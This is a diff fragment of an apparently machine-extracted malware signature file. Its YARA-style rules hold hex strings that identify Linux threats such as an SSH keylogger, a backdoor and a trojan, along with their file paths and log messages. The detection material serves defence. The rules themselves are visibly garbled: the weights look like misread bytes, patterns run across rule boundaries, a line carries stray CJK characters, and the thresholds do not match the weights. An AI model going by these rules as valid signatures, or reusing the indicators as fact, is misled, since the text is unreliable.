73 } //1 BEGIN Redirect to [%s:%s],key=%s + $a_01_23 = {45 4e 44 20 52 65 64 69 72 65 63 74 20 74 6f 20 5b 25 73 3a 25 73 5d 2c 6b 65 79 3d 25 73 2c 72 65 74 3d 25 64 } //1 END Redirect to [%s:%s],key=%s,ret=%d + $a_83_24 = {00 06 00 06 00 14 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 53 6f 6e 69 63 52 61 67 65 2e 41 21 64 68 61 00 01 00 0f 03 61 75 74 68 2e 63 90 01 01 6d 6d 69 74 90 00 01 00 1c 03 61 00 75 00 74 90 01 01 68 00 2e 00 63 90 01 01 6f 00 6d 00 6d 00 69 00 74 00 90 00 01 00 0e 03 61 75 74 68 2e 68 65 90 01 01 6c 6f 90 00 01 00 1a 03 61 00 75 00 74 00 68 00 90 01 01 00 68 00 65 00 6c 00 6c 90 01 01 } //0 + $a_00_25 = {01 00 10 03 61 75 74 68 2e 70 65 6e 64 90 01 01 6e 67 90 00 01 00 1e 03 61 00 75 00 74 00 68 00 2e 90 01 01 70 00 65 00 6e 00 64 90 01 01 69 00 6e 00 67 00 90 00 01 00 10 03 63 6c 69 65 6e 74 5f 90 01 01 6f 67 69 6e 90 00 01 00 1e 03 63 00 6c 00 69 90 01 01 65 00 6e 00 74 90 01 01 5f 00 6c 00 6f 00 67 00 69 00 6e 00 90 00 01 00 0f 03 63 6c 69 65 6e 74 5f 70 90 01 01 73 73 90 00 01 00 1c 03 63 00 6c 00 69 90 01 01 65 00 6e 00 74 } //111 + $a_5f_26 = {70 } //400 p + condition: + ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*29806+(#a_69_2 & 1)*30309+(#a_74_3 & 1)*12150+(#a_00_4 & 1)*12576+(#a_73_5 & 1)*13861+(#a_66_6 & 1)*25954+(#a_68_7 & 1)*24931+(#a_01_8 & 1)*28001+(#a_65_9 & 1)*23328+(#a_65_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_01_23 & 1)*1+(#a_83_24 & 1)*0+(#a_00_25 & 1)*111+(#a_5f_26 & 1)*400) >=30 + +} +rule _InfrastructureShared_22248{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 16 00 21 " + + strings : + $a_46_0 = {42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 41 6c 70 61 63 61 53 61 75 6e 61 2e 41 21 64 68 61 00 02 00 48 01 75 73 61 67 65 3a 20 2e 2f 63 70 72 20 5b 73 65 72 76 65 72 5f 75 72 6c 5d 20 5b 73 65 72 76 65 72 5f 70 6f 72 74 5d } //16675 + $a_65_1 = {76 65 72 5f 6b 65 79 5d 20 5b 6e 6f 64 65 5f 74 79 70 65 5d 20 5b 62 72 61 6e 64 5d 02 00 13 01 6a 75 6d 70 73 65 72 65 72 20 6e 6f 74 20 65 78 69 73 74 02 00 12 01 2f 72 6f 6f 74 2f 70 72 6f 6a 65 63 74 2f 63 70 72 2f 01 00 0c 01 00 69 6e 76 61 6c 69 64 5f 69 70 00 01 00 0b 01 00 66 65 74 63 68 5f 63 6d 64 00 01 00 0d 01 00 72 65 71 75 65 73 } //23328 + $a_6e_2 = {00 01 00 0b 01 00 6e 65 77 5f 6e 6f 64 65 73 00 01 00 0a 01 63 68 61 6e 67 65 5f 76 70 73 01 00 15 01 68 61 6e 64 6c 65 72 5b 25 73 5d 20 72 65 74 75 72 6e 20 25 64 01 00 14 01 6e 6f 74 20 66 6f 75 6e 64 20 68 61 6e 64 6c 65 72 20 25 73 01 00 1d 01 5b 25 73 5d 3a 20 20 72 65 71 75 65 73 74 20 74 } //24436 + $a_25_3 = {5d 5b 25 73 3a 25 73 5d 01 00 1f 01 66 61 69 6c 20 74 6f 20 73 65 6e 64 20 72 65 71 75 65 73 74 20 74 6f 20 5b 25 73 3a 25 73 5d 01 00 09 01 2f 74 6d 70 2f 2e 6e 63 72 01 00 1b 01 75 75 69 64 20 5b 25 73 5d 2c 6b 65 79 20 5b 25 73 5d 2c 74 79 70 65 5b 25 64 5d 01 00 37 01 } //8303 + $a_3a_4 = {73 5d 3a 75 75 69 64 5b 25 73 5d 2c 6b 65 79 5b 25 73 5d 2c 64 65 6c 65 74 65 64 5b 25 64 5d 2c 74 79 70 65 5b 25 64 5d 2c 74 69 6d 65 5b 25 6c 64 5d 01 00 18 01 63 68 61 6e 67 65 20 76 70 73 20 25 73 3a 25 73 2c 6b 65 79 5b 25 73 5d 01 00 07 01 2e 6c 6f 67 63 6d 64 01 00 0a 01 2f 74 6d 70 2f 2e 6a 6c 6f 67 01 00 12 01 72 75 6e 20 63 6f 6d 6d } //9563 + $a_20_5 = {64 3a 20 25 73 01 00 0b 01 42 52 41 4e 43 48 5f 4e 4f 44 45 01 00 20 01 42 45 47 49 4e 20 52 65 64 69 72 65 63 74 20 74 6f 20 5b 25 73 3a 25 73 5d 2c 6b 65 79 3d 25 73 01 00 25 01 45 4e 44 20 52 65 64 69 72 65 63 74 20 74 6f 20 5b 25 73 3a 25 73 5d 2c 6b 65 79 3d 25 73 2c 72 65 74 3d 25 64 00 00 8c } //28257 + $a_4c_8 = {50 45 52 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 53 6f 6e 69 63 52 61 67 65 2e 41 21 64 68 61 00 01 00 0f 03 61 75 74 68 2e 63 90 01 01 6d 6d 69 74 90 00 01 00 1c 03 61 00 75 00 74 90 01 01 68 } //8993 + $a_00_10 = {6d 00 6d 00 69 00 74 00 90 00 01 00 0e 03 61 75 74 68 2e 68 65 90 01 01 6c 6f 90 00 01 00 1a 03 61 00 75 00 74 00 68 00 90 01 01 00 68 00 65 00 6c 00 6c 90 01 01 6f 00 90 00 01 00 10 03 61 75 74 68 2e 70 65 6e 64 90 01 01 6e 67 90 00 01 00 1e 03 61 00 75 00 74 00 68 00 2e 90 01 01 70 00 65 00 6e 00 64 90 01 01 69 00 6e 00 67 00 90 } //257 + $a_69_12 = {6e 74 5f 90 01 01 6f 67 69 6e 90 00 01 00 1e 03 63 00 6c 00 69 90 01 01 65 00 6e 00 74 90 01 01 5f 00 6c 00 6f 00 67 00 69 00 6e 00 90 00 01 00 0f 03 63 6c 69 65 6e 74 5f 70 90 01 01 73 73 90 00 01 00 1c 03 63 00 6c 00 69 90 01 01 65 00 6e 00 74 90 01 01 5f 00 70 00 61 00 73 00 73 00 90 00 01 00 14 03 63 6c 69 65 6e 74 6b } //25347 + $a_01_13 = {5f } //-28571 _ + $a_65_14 = {34 90 00 01 00 26 03 63 00 6c 00 69 00 65 00 6e 00 74 00 6b 90 01 01 65 00 79 00 5f 00 62 00 61 00 73 90 01 01 65 00 36 00 34 00 90 00 01 00 15 03 66 69 6c 65 5f 6c 69 73 74 5f 90 01 01 65 71 75 65 73 74 90 00 01 00 28 03 66 00 69 00 6c 00 65 90 01 01 5f 00 6c 00 69 00 73 00 74 00 5f 90 01 01 72 00 65 00 71 00 75 00 65 00 73 00 74 00 90 00 01 } //24930 + $a_6d_15 = {64 75 6c } //5888 dul + $a_69_16 = {74 90 01 01 72 65 71 75 65 73 74 90 00 01 00 2c 03 6d 00 6f 00 64 00 75 00 6c 00 65 00 5f 00 6c 00 69 90 01 01 73 00 74 00 5f 00 72 00 65 00 71 90 01 01 75 00 65 00 73 00 74 00 90 00 01 00 14 03 6e 65 74 5f 6c 69 73 74 5f 72 90 01 01 71 75 65 73 74 90 00 01 00 26 03 6e 00 65 00 74 00 5f 90 01 01 6c 00 69 00 73 00 74 00 5f } //24421 + $a_72_17 = {65 } //400 e + $a_00_19 = {74 00 90 00 01 00 13 03 73 65 72 76 65 72 20 66 69 6e 90 01 01 73 68 65 64 90 00 01 00 24 03 73 00 65 00 72 00 76 90 01 01 65 00 72 00 20 00 66 90 01 01 69 00 6e 00 69 00 73 00 68 00 65 00 64 00 90 00 00 00 8c a0 02 00 04 00 04 00 14 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 57 65 6c 6c 4d 61 69 6c 2e 41 21 64 68 61 } //101 + $a_53_21 = {72 90 01 01 65 72 2f 4d 61 69 6c 2f 41 70 70 5f 44 61 74 61 2f 54 65 90 01 01 70 2f 61 67 65 6e 90 01 02 73 68 2f 73 72 63 2f 6d 90 01 01 69 } //14915 + condition: + ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*23328+(#a_6e_2 & 1)*24436+(#a_25_3 & 1)*8303+(#a_3a_4 & 1)*9563+(#a_20_5 & 1)*28257+(#a_4c_8 & 1)*8993+(#a_00_10 & 1)*257+(#a_69_12 & 1)*25347+(#a_01_13 & 1)*-28571+(#a_65_14 & 1)*24930+(#a_6d_15 & 1)*5888+(#a_69_16 & 1)*24421+(#a_72_17 & 1)*400+(#a_00_19 & 1)*101+(#a_53_21 & 1)*14915) >=3 + +} +rule _InfrastructureShared_22249{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,06 00 06 00 14 00 21 " @@ -276480,12 +292719,12 @@ rule _InfrastructureShared_20975{ $a_65_16 = {90 01 01 65 72 5c 4d 61 69 6c 5c 41 70 70 5f 44 61 74 61 5c 54 65 6d 70 5c 75 73 90 01 01 63 31 5c 73 72 63 00 90 00 01 00 18 03 6d 61 69 6e 2e 62 75 69 6c 64 46 69 90 01 01 65 4e 61 6d 65 00 00 90 00 01 00 10 03 6d 61 69 6e 2e 67 65 90 01 01 49 50 } //23610 $a_00_17 = {01 00 18 03 6d 61 69 6e 2e 73 65 74 50 61 72 90 01 01 6d 65 74 65 72 73 00 00 90 00 01 00 19 03 6d 61 69 6e 2e 47 65 74 52 61 90 01 01 64 6f 6d 42 79 74 65 73 00 00 90 00 01 00 14 03 6d 61 69 6e 2e 74 72 61 6e 90 01 01 70 6f 72 74 00 00 90 00 01 00 13 03 6d 61 69 6e 2e 72 65 63 90 01 01 69 65 76 65 00 00 90 00 01 00 10 03 6d 61 69 6e 2e 68 65 90 01 01 6c 6f 00 00 90 00 01 00 14 03 6d 61 69 6e 2e 73 63 90 01 01 65 64 75 6c 65 72 } //0 $a_00_18 = {01 00 14 03 6d 61 69 6e 2e 72 75 6e 73 90 01 01 72 69 70 74 00 00 90 00 01 00 19 03 6d 61 69 6e 2e 75 73 65 72 50 61 72 61 90 01 01 65 74 65 72 73 00 00 90 00 01 00 17 03 6d 61 69 6e 2e 63 65 72 74 50 45 4d 90 01 01 6c 6f 63 6b 00 00 90 00 01 00 16 03 6d 61 69 6e 2e 6b 65 79 50 45 4d 42 90 01 01 6f 63 6b 00 00 90 00 01 00 11 03 6d 61 69 6e 2e 63 61 46 90 01 01 6c 65 00 00 90 00 01 00 16 03 6d 61 69 6e 2e 73 74 61 74 69 90 01 01 } //0 - $a_5f_19 = {00 00 90 00 01 00 17 03 6d 61 69 6e 2e 74 69 6d 65 69 6e 90 01 01 65 72 76 61 6c 00 00 90 00 01 00 16 03 6d 61 69 6e 2e 7a 69 70 69 74 2e 66 90 01 01 6e 63 31 00 00 90 00 00 00 8c bc 02 00 0a 00 0a 00 0f 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 4b 65 79 6c 6f 67 67 65 72 2e 46 21 64 68 61 00 01 00 1e } //28020 + $a_5f_19 = {00 00 90 00 01 00 17 03 6d 61 69 6e 2e 74 69 6d 65 69 6e 90 01 01 65 72 76 61 6c 00 00 90 00 01 00 16 03 6d 61 69 6e 2e 7a 69 70 69 74 2e 66 90 01 01 6e 63 31 00 00 90 00 00 00 8c bc 02 00 02 00 02 00 0f 00 21 23 48 53 54 52 3a 41 6c 70 61 63 61 53 74 72 69 6e 67 73 45 6c 66 00 01 00 25 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 } //28020 condition: ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*144+(#a_74_3 & 1)*24835+(#a_01_5 & 1)*-28567+(#a_00_7 & 1)*257+(#a_00_8 & 1)*105+(#a_6f_9 & 1)*791+(#a_01_11 & 1)*-28577+(#a_00_13 & 1)*117+(#a_65_14 & 1)*12152+(#a_72_15 & 1)*257+(#a_65_16 & 1)*23610+(#a_00_17 & 1)*0+(#a_00_18 & 1)*0+(#a_5f_19 & 1)*28020) >=6 } -rule _InfrastructureShared_20976{ +rule _InfrastructureShared_22250{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 14 00 21 " @@ -276497,23 +292736,47 @@ rule _InfrastructureShared_20976{ $a_63_4 = {01 01 65 64 75 6c 65 72 00 00 90 00 01 00 14 03 6d 61 69 6e 2e 72 75 6e 73 90 01 01 72 69 70 74 00 00 90 00 01 00 19 03 6d 61 69 6e 2e 75 73 65 72 50 61 72 61 90 01 01 65 74 65 72 73 00 00 90 00 01 00 17 03 6d 61 69 6e 2e 63 65 72 74 50 45 4d 90 01 01 6c 6f 63 6b 00 00 90 00 01 00 16 03 6d 61 69 6e 2e 6b 65 79 50 45 4d 42 90 01 01 6f 63 6b 00 } //11886 $a_6d_6 = {69 6e 2e } //4352 in. $a_90_7 = {01 6c 65 00 00 90 00 01 00 16 03 6d 61 69 6e 2e 73 74 61 74 69 90 01 01 74 6d 70 5f 30 00 00 90 00 01 00 17 03 6d 61 69 6e 2e 74 69 6d 65 69 6e 90 01 01 65 72 76 61 6c 00 00 90 00 01 00 16 03 6d 61 69 6e 2e 7a } //24931 - $a_74_8 = {66 90 01 01 6e 63 31 00 00 90 00 00 00 8c bc 02 00 0a 00 0a 00 0f 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 4b 65 79 6c 6f 67 67 65 72 2e 46 21 64 68 61 00 01 00 1e 01 48 61 6e 64 6c 69 6e 67 20 70 72 6f 63 65 73 73 28 69 6e 63 6f 6d 69 6e 67 20 53 53 48 29 01 00 1e 01 48 61 6e 64 } //28777 - $a_67_9 = {70 72 6f 63 65 73 73 28 6f 75 74 67 6f 69 6e 67 20 53 53 48 29 01 00 1e 01 49 6e 63 6f 6d 69 6e 67 20 73 73 68 20 63 6f 6e 6e 65 63 74 69 6f 6e 3a 20 50 49 44 20 3d 01 00 16 01 4c 6f 67 67 69 6e 67 20 6b 65 79 62 6f 61 72 64 73 3a 20 4f 46 46 01 00 15 01 4c 6f 67 67 69 6e 67 20 6b 65 79 62 6f 61 72 64 73 3a 20 4f 4e 01 00 1e 01 } //26988 - $a_67_10 = {69 6e 67 20 73 73 68 20 63 6f 6e 6e 65 63 74 69 6f 6e 3a 20 50 49 44 20 3d 01 00 26 01 50 65 72 68 61 70 73 20 79 6f 75 20 61 72 65 20 61 20 62 61 61 61 61 61 61 61 64 20 67 75 75 75 75 79 20 4f 5f 6f 01 00 14 01 70 72 6f 64 75 63 65 20 68 65 6c 70 20 6d 65 73 73 61 67 65 01 00 28 01 5b 50 54 52 41 43 45 5d 20 43 6f 6e 6e 65 63 74 69 6f 6e 20 69 } //30031 - $a_6c_11 = {73 65 64 20 66 72 6f 6d 20 50 49 44 20 3d 01 00 1d 01 5b 50 54 52 41 43 45 5d 20 53 74 61 72 74 69 6e 67 20 61 74 74 61 63 68 20 70 69 64 3a 01 00 29 01 72 75 6e 20 6c 6f 67 67 69 6e 67 20 61 6c 6c 20 64 65 74 65 63 74 65 64 20 6b 65 79 62 6f 61 72 64 20 64 65 76 69 63 65 73 01 00 54 01 5b 73 74 } //8307 - $a_65_12 = {70 74 72 61 63 65 5d 20 72 75 6e 20 73 73 68 20 6b 65 79 6c 6f 67 67 65 72 20 76 69 61 20 53 54 52 41 43 45 20 6f 72 20 50 54 52 41 43 45 20 6d 65 63 68 61 6e 69 73 6d 20 28 70 74 72 61 63 65 20 62 79 20 64 65 66 61 75 6c 74 29 01 00 3e 01 76 69 72 74 75 61 6c 20 76 6f 69 64 20 6c 6f 67 67 65 72 } //24946 - $a_74_13 = {61 63 65 3a 3a 73 73 68 5f 69 6e 63 6f 6d 69 6e 67 5f 6c 6f 67 67 65 72 28 63 6f 6e 73 74 20 70 69 64 5f 74 26 29 01 00 3e 01 76 69 72 74 75 61 6c 20 76 6f 69 64 20 6c 6f 67 67 65 72 3a 3a 50 74 72 61 63 65 3a 3a 73 73 68 5f 6f 75 74 67 6f } //14906 - $a_5f_14 = {6f 67 67 65 72 28 63 6f 6e 73 74 20 70 69 64 5f 74 26 29 01 00 35 01 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 73 20 74 6f 20 73 74 61 72 74 20 6c 6f 67 67 65 72 20 69 6e 20 63 61 73 65 20 6f 66 00 00 8c c9 02 00 0a 00 0a 00 11 00 21 23 41 4c 46 3a 59 32 56 3a 4d 61 72 63 5f } //28265 - $a_65_15 = {6f 5f 4d 63 41 66 65 2f 61 70 74 5f 6e 69 78 5f 65 6c 66 5f 44 65 72 75 73 62 69 5f 4c 69 6e 75 78 5f 53 74 72 69 6e 67 73 00 05 00 26 03 6c 6f 61 64 73 6f 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 05 00 2c 03 6c 00 6f 00 61 00 64 00 73 00 6f 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 } //26962 - $a_30_16 = {39 41 2d 5a 61 2d 7a } //300 - $a_81_17 = {0a 75 6e 61 6d 65 20 2d 61 0a 0a } //5 - $a_81_18 = {2f 64 65 76 2f 73 68 6d 2f 2e 78 31 31 2e 69 64 } //5 /dev/shm/.x11.id - $a_80_19 = {4c 78 4d 61 69 6e 36 34 } //LxMain64 5 + $a_74_8 = {66 90 01 01 6e 63 31 00 00 90 00 00 00 8c bc 02 00 02 00 02 00 0f 00 21 23 48 53 54 52 3a 41 6c 70 61 63 61 53 74 72 69 6e 67 73 45 6c 66 00 01 00 25 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f 61 70 69 73 2e 43 72 65 61 74 65 50 77 64 46 69 6c 65 01 00 2b 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f } //28777 + $a_69_9 = {2f 61 70 69 73 2e 4e 6f 64 65 49 70 2e 45 78 70 6f 72 74 32 43 6c 61 73 68 01 00 26 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f 61 70 69 73 2e 4e 6f 64 65 49 70 2e 47 65 74 50 61 67 65 01 00 25 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f 61 70 69 73 2e 4e 6f 64 65 49 70 2e 52 75 6e 43 6d 64 01 } //25697 + $a_67_10 = {2d } //9472 - + $a_69_11 = {2f 61 70 70 2f 61 64 6d 69 6e 2f 61 70 69 73 2e 4e 6f 64 65 49 70 2e 55 70 64 61 74 65 01 00 2a 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f 61 70 69 73 2e 4e 6f 64 65 49 70 2e 55 70 64 61 74 65 53 70 65 65 64 01 00 28 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f 61 70 69 73 2e 50 72 6f 67 72 65 } //25697 + $a_47_12 = {74 50 61 67 65 01 00 2e 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f 61 70 69 73 2e 50 72 6f 67 72 65 73 73 44 65 74 61 69 } //29555 側条ť⸀朁ⵯ摡業⽮灡⽰摡業⽮灡獩倮潲牧獥䑳瑥楡 + $a_65_13 = {50 61 67 65 01 00 28 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f 61 70 69 73 2e 50 77 64 42 72 61 6e 63 68 2e 55 70 64 61 74 65 01 00 29 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f } //11884 + $a_73_14 = {50 77 64 42 72 61 6e 63 68 2e 55 70 64 61 74 65 31 01 00 2a 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f 61 70 69 73 2e 53 66 69 76 65 41 75 74 68 6f 72 2e 49 6e 73 65 72 74 01 00 2a 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f 61 70 69 73 2e 53 66 69 76 65 41 75 74 68 6f 72 2e 55 70 } //28769 + $a_65_15 = {00 2d 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f 61 70 69 73 2e 54 72 61 66 66 69 63 44 65 74 61 69 6c 2e 47 65 74 50 61 67 65 01 00 23 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f 61 70 69 73 2e 49 70 43 68 61 6e 67 65 52 65 71 01 00 2b 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f 61 70 69 73 2e 53 } //24932 + $a_65_16 = {75 74 68 6f 72 2e 44 69 73 61 62 6c 65 00 00 8c bc 02 00 0a 00 0a 00 0f 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 4b 65 79 6c 6f 67 67 65 72 2e 46 21 64 68 61 00 01 00 1e 01 48 61 6e 64 6c 69 6e 67 20 70 72 6f 63 65 73 73 28 69 6e 63 6f 6d 69 6e 67 20 53 53 48 29 01 00 1e 01 48 61 6e 64 6c 69 6e 67 20 70 72 6f 63 65 73 } //26982 + $a_75_17 = {67 6f 69 6e 67 20 53 53 48 29 01 00 1e 01 49 6e 63 6f 6d 69 6e 67 20 73 73 68 20 63 6f 6e 6e 65 63 74 69 6f 6e 3a 20 50 49 44 20 3d 01 00 16 01 4c 6f 67 67 69 6e 67 20 6b 65 79 62 6f 61 72 64 73 3a 20 4f 46 46 01 00 15 01 4c 6f 67 67 69 6e 67 20 6b 65 79 62 6f 61 72 64 73 3a 20 4f 4e 01 00 1e 01 4f 75 74 67 6f 69 6e 67 20 73 73 68 } //10355 + $a_6e_18 = {65 63 74 69 6f 6e 3a 20 50 49 44 20 3d 01 00 26 01 50 65 72 68 61 70 73 20 79 6f 75 20 61 72 65 20 61 20 62 61 61 61 61 61 61 61 64 20 67 75 75 75 75 79 20 4f 5f 6f 01 00 14 01 70 72 6f 64 75 63 65 20 68 65 6c 70 20 6d 65 73 73 61 67 65 01 00 28 01 5b 50 54 52 41 43 45 5d 20 43 6f 6e 6e 65 63 74 69 6f 6e 20 69 73 20 63 6c 6f 73 65 } //25376 + $a_72_19 = {6d 20 50 49 44 20 3d 01 00 1d 01 5b 50 54 52 41 43 45 5d 20 53 74 61 72 74 69 6e 67 20 61 74 74 61 63 68 20 70 69 64 3a 01 00 29 01 72 75 6e 20 6c 6f 67 67 69 6e 67 20 61 6c 6c 20 64 65 74 65 63 74 65 64 20 6b 65 79 62 6f 61 72 64 20 64 65 76 69 63 65 73 01 00 54 01 5b 73 74 72 61 63 65 2f 70 74 72 61 63 } //8292 condition: - ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*12136+(#a_68_2 & 1)*257+(#a_90_3 & 1)*24912+(#a_63_4 & 1)*11886+(#a_6d_6 & 1)*4352+(#a_90_7 & 1)*24931+(#a_74_8 & 1)*28777+(#a_67_9 & 1)*26988+(#a_67_10 & 1)*30031+(#a_6c_11 & 1)*8307+(#a_65_12 & 1)*24946+(#a_74_13 & 1)*14906+(#a_5f_14 & 1)*28265+(#a_65_15 & 1)*26962+(#a_30_16 & 1)*300+(#a_81_17 & 1)*5+(#a_81_18 & 1)*5+(#a_80_19 & 1)*5) >=4 + ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*12136+(#a_68_2 & 1)*257+(#a_90_3 & 1)*24912+(#a_63_4 & 1)*11886+(#a_6d_6 & 1)*4352+(#a_90_7 & 1)*24931+(#a_74_8 & 1)*28777+(#a_69_9 & 1)*25697+(#a_67_10 & 1)*9472+(#a_69_11 & 1)*25697+(#a_47_12 & 1)*29555+(#a_65_13 & 1)*11884+(#a_73_14 & 1)*28769+(#a_65_15 & 1)*24932+(#a_65_16 & 1)*26982+(#a_75_17 & 1)*10355+(#a_6e_18 & 1)*25376+(#a_72_19 & 1)*8292) >=4 } -rule _InfrastructureShared_20977{ +rule _InfrastructureShared_22251{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 0f 00 21 " + + strings : + $a_54_0 = {3a 41 6c 70 61 63 61 53 74 72 69 6e 67 73 45 6c 66 00 01 00 25 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f 61 70 69 73 2e 43 72 65 61 74 65 50 77 64 46 69 6c 65 01 00 2b 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f 61 } //18467 + $a_2e_1 = {6f 64 65 49 70 2e 45 78 70 6f 72 74 32 43 6c 61 73 68 01 00 26 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f 61 70 69 73 2e 4e 6f 64 65 49 70 2e 47 65 74 50 61 67 65 01 00 25 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f 61 70 69 73 2e 4e 6f 64 65 49 70 2e 52 75 6e 43 6d 64 01 00 25 01 67 6f 2d 61 64 6d 69 6e 2f 61 } //26992 + $a_61_2 = {6d 69 6e 2f 61 70 69 73 2e 4e 6f 64 65 49 70 2e 55 70 64 61 74 65 01 00 2a 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f 61 70 } //28784 + $a_4e_3 = {64 65 49 70 2e 55 70 64 61 74 65 53 70 65 65 64 01 00 28 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f 61 70 69 73 2e 50 72 } //29545 + $a_65_4 = {73 2e 47 65 74 50 61 67 65 01 00 2e 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f 61 70 69 73 2e 50 72 6f 67 72 65 73 73 44 65 74 61 69 6c 2e 47 65 74 50 61 67 65 01 00 28 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f 61 70 69 73 2e 50 77 64 42 72 61 6e 63 68 2e 55 70 64 61 74 65 01 00 29 01 67 6f 2d 61 64 6d 69 } //26479 + $a_70_5 = {2f 61 64 6d 69 6e 2f 61 70 69 73 2e 50 77 64 42 72 61 6e 63 68 2e 55 70 64 61 74 65 31 01 00 2a 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f 61 70 69 73 2e 53 66 69 76 65 41 75 74 68 6f 72 2e 49 6e 73 65 72 74 01 00 2a 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e } //12142 + $a_69_6 = {2e 53 66 69 76 65 41 75 74 68 6f 72 2e 55 70 64 61 74 65 01 00 2d 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f 61 70 69 73 2e 54 72 61 66 66 69 63 44 65 74 61 69 6c 2e 47 65 74 50 61 67 65 01 00 23 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f 61 70 69 73 2e 49 70 43 68 61 6e 67 65 52 65 71 01 00 2b 01 67 } //24879 + $a_64_7 = {69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f 61 70 69 73 2e 53 66 69 76 65 41 75 74 68 6f 72 2e 44 69 73 61 62 6c 65 00 00 8c bc 02 00 0a 00 0a 00 0f 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 4b 65 79 6c 6f 67 67 65 72 2e 46 21 64 68 61 00 01 00 1e 01 48 61 6e 64 } //11631 + $a_67_8 = {70 72 6f 63 65 73 73 28 69 6e 63 6f 6d 69 6e 67 20 53 53 48 29 01 00 1e 01 48 61 6e 64 6c 69 6e 67 20 70 72 6f 63 65 73 73 28 6f 75 74 67 6f 69 6e 67 20 53 53 48 29 01 00 1e 01 49 6e 63 6f 6d 69 6e 67 20 73 73 68 20 63 6f 6e 6e 65 63 74 69 6f 6e 3a 20 50 49 44 20 3d 01 00 16 01 4c 6f 67 67 69 6e 67 20 6b 65 79 62 6f 61 72 64 73 } //26988 + $a_46_9 = {01 00 15 01 4c 6f 67 67 69 6e 67 20 6b 65 79 62 6f 61 72 64 73 3a 20 4f 4e 01 00 1e 01 4f 75 74 67 6f 69 6e 67 20 73 73 68 20 63 6f 6e 6e 65 63 74 69 6f 6e 3a 20 50 49 44 20 3d 01 00 26 01 50 65 72 68 61 70 73 20 79 6f 75 20 61 72 65 20 } //8250 + $a_61_10 = {61 61 61 61 61 64 20 67 75 75 75 75 79 20 4f 5f 6f 01 00 14 01 70 72 6f 64 75 63 65 20 68 65 6c 70 20 6d 65 73 73 61 67 65 01 00 28 01 5b 50 54 52 41 43 45 5d 20 43 6f 6e 6e 65 63 74 69 6f 6e 20 69 73 20 63 6c 6f 73 65 64 20 66 72 6f 6d 20 50 49 44 20 3d 01 00 1d 01 5b 50 